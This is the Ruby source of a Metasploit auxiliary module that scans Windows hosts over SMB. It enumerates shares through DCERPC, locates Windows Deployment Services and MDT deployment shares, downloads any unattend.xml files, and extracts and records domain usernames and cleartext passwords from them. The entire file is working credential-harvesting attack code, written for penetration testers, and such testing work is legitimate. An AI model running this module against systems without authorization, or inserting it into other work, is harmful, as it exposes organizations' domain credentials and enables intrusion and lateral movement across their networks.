##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::DCERPC

  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Deployment Services Unattend Gatherer',
      'Description'    => %q{
          This module will search remote file shares for unattended installation files that may contain
          domain credentials. This is often used after discovering domain credentials with the
          auxiliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
          have domain credentials. This module will connect to the RemInst share and any Microsoft
          Deployment Toolkit shares indicated by the share name comments.
      },
      'Author'         => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
          [ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html'],
        ],
      ))

    register_options(
      [
        Opt::RPORT(445),
        OptString.new('SMBDomain', [ false, "SMB Domain", '']),
      ])

  end

  # Determine the type of share based on an ID type value
  def share_type(val)
    stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
    stypes[val] || 'UNKNOWN'
  end


  # Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
  # and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
  def srvsvc_netshareenum
    shares = []
    handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])

    begin
      dcerpc_bind(handle)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error(e.message)
      return
    end

    stubdata =
      NDR.uwstring("\\\\#{rhost}") +
      NDR.long(1)  #level

    ref_id = stubdata[0,4].unpack("V")[0]
    ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")

    stubdata << ctr
    stubdata << NDR.align(ctr)
    stubdata << [0xffffffff].pack("V")
    stubdata << [ref_id + 8, 0].pack("VV")

    response = dcerpc.call(0x0f, stubdata)

    # Additional error handling and validation needs to occur before
    # this code can be moved into a mixin

    res = response.dup
    win_error = res.slice!(-4, 4).unpack("V")[0]
    if win_error != 0
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
    end

    # Level, CTR header, Reference ID of CTR
    res.slice!(0,12)
    share_count = res.slice!(0, 4).unpack("V")[0]

    # Reference ID of CTR1
    res.slice!(0,4)
    share_max_count = res.slice!(0, 4).unpack("V")[0]

    if share_max_count != share_count
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
    end

    # ReferenceID / Type / ReferenceID of Comment
    types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}

    share_count.times do |t|
      length, offset, max_length = res.slice!(0, 12).unpack("VVV")

      if offset != 0
        fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
      end

      if length != max_length
        fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
      end

      name = res.slice!(0, 2 * length)
      res.slice!(0,2) if length % 2 == 1 # pad

      comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")

      if comment_offset != 0
       fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
      end

      if comment_length != comment_max_length
         fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
      end

      comment = res.slice!(0, 2 * comment_length)
      res.slice!(0,2) if comment_length % 2 == 1 # pad

      shares << [ name, share_type(types[t]), comment]
    end

    shares
  end

  def run_host(ip)
    deploy_shares = []

    begin
      connect(versions: [1])
      smb_login
      srvsvc_netshareenum.each do |share|
        # Ghetto unicode to ascii conversation
        share_name = share[0].unpack("v*").pack("C*").split("\x00").first
        share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
        share_type = share[1]

        if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
          vprint_good("Identified deployment share #{share_name} #{share_comm}")
          deploy_shares << share_name
        end
      end

      deploy_shares.each do |deploy_share|
        query_share(deploy_share)
      end

    rescue ::Interrupt
      raise $!
    end
  end

  def query_share(share)
    share_path = "\\\\#{rhost}\\#{share}"
    vprint_status("Enumerating #{share}...")

    begin
      simple.connect(share_path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Could not access share: #{share} - #{e}")
      return
    end

    results = simple.client.file_search("\\", /unattend.xml$/i, 10)

    results.each do |file_path|
      file = simple.open(file_path, 'o').read()
      next unless file

      loot_unattend(file)

      creds = parse_client_unattend(file)
      creds.each do |cred|
        next unless (cred && cred['username'] && cred['password'])
        next unless cred['username'].to_s.length > 0
        next unless cred['password'].to_s.length > 0

        report_creds(cred['domain'].to_s, cred['username'], cred['password'])
        print_good("Credentials: " +
          "Path=#{share_path}#{file_path} " +
          "Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
          "Password=#{cred['password'].to_s}"
        )
      end
    end

  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def parse_client_unattend(data)

    begin
      xml = REXML::Document.new(data)
    rescue REXML::ParseException => e
      print_error("Invalid XML format")
      vprint_line(e.message)
    end
    Rex::Parser::Unattend.parse(xml).flatten
  end

  def loot_unattend(data)
    return if data.empty?
    path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
    print_good("Stored unattend.xml in #{path}")
  end

  def report_creds(domain, user, pass)
    report_cred(
      ip: rhost,
      port: 445,
      service_name: 'smb',
      user: "#{domain}\\#{user}",
      password: pass,
      proof: domain
    )
  end
end
